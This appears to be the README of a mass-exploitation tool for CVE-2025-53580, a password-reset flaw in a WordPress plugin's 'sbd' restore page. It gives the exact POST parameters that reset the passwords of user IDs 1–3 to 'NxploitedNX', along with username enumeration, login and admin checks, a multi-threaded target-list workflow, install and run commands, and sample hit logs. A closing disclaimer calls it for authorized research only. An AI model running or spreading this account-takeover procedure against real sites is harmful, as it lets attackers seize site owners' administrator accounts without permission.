___  _        ___     __  __  __  ____     ____ ___  ____ __   __
  / (_)(_|   |_// (_)   /  )/  \/  )|        |    /   \|    /  \ /  \
 |       |   |  \__       /|    | / |___     |___   __/|___ \__/|    |
 |       |   |  /   -----/ |    |/      \-----   \    \    \/  \|    |
  \___/   \_/   \___/   /___\__//___\___/    \___/\___/\___/\__/ \__/

┌─────────────────────────────────────────────────────────────────┐
│  1. Discover SBD restore page                                   │
│     Probe 24 candidate paths  →  match body containing "sbd"   │
│                                                                 │
│  2. Reset passwords by user ID                                  │
│     POST <restore_url>                                          │
│       qcpd-restore-pwd      = restore                           │
│       qcpd-restore-pwd-type = user                              │
│       qcpd-uid              = 1  (then 2, then 3)              │
│       pass                  = NxploitedNX                       │
│                                                                 │
│  3. Enumerate usernames                                         │
│     /?author=1..9   →  redirect / body parse                    │
│     /wp-json/wp/v2/users  →  slug / username fields            │
│     hostname heuristic  +  "admin" fallback                     │
│                                                                 │
│  4. Login with injected password                                │
│     POST /wp-login.php  log=<user>  pwd=NxploitedNX             │
│     Check: wordpress_logged_in cookie present                   │
│                                                                 │
│  5. Verify admin access (dual method)                           │
│     GET /wp-json/wp/v2/users/me  →  capabilities.manage_options│
│     GET /wp-admin/users.php      →  adminmenu / users table     │
│                                                                 │
│  6. Write confirmed hit → Nx_sbd_login_hits.txt                 │
└─────────────────────────────────────────────────────────────────┘

git clone https://github.com/Nxploited/CVE-2025-53580.git
cd CVE-2025-53580
pip install -r requirements.txt

requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6

python3 CVE-2025-53580.py

Targets list file (one host/URL per line) [list.txt]:   list.txt
Threads (concurrent sites) [3]:                         5
HTTP timeout (seconds) [10]:                            10
Successful hits file [Nx_sbd_login_hits.txt]:           Nx_sbd_login_hits.txt

https://target1.com
target2.com
http://target3.com

/login          /log-in         /signin         /sign-in
/user-login     /account/login  /restore        /password-reset
/reset-password /lost-password  /lostpassword   /user/restore
/my-account     /members/login  /member-login   /customer-login
/wp-login.php   /blog/login     /auth/login     /auth/restore
/sbd-login      /sbd-restore    /blog/log-in    /account/log-in

GET /wp-json/wp/v2/users/me
→ capabilities.manage_options = true  →  ADMIN CONFIRMED

GET /wp-admin/users.php
→ adminmenu / users table markers present  →  ADMIN CONFIRMED

[2025-06-01 14:22:10] https://target.com - type=ADMIN - user=admin
- login=/wp-login.php user=admin pass=NxploitedNX
- detail=ADMIN_CONFIRMED_REST(manage_options)

[2025-06-01 14:23:05] https://target2.com - type=USER - user=editor
- login=/wp-login.php user=editor pass=NxploitedNX
- detail=not_admin(rest_no_manage_options, wpadmin_no_strong_markers)

[info]  https://target.com :: starting
[ok]    https://target.com :: found front-end sbd page at https://target.com/my-account
[info]  https://target.com :: starting qcpd-uid=1..3 brute with pass=NxploitedNX
[info]  https://target.com :: POST uid=1 → status=302, Location=/my-account/?restored=1
[info]  https://target.com :: POST uid=2 → status=302, Location=/my-account/?restored=1
[info]  https://target.com :: extracting usernames and trying login
[ok]    https://target.com :: login OK for user='admin', checking admin...
[ok]    https://target.com :: HIT for user='admin' → admin=True,
        detail=ADMIN_CONFIRMED_REST(manage_options)

[warn]  https://target2.com :: no sbd page found in candidate restore paths, skipping

Nxploited (Khaled Alenazi)
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.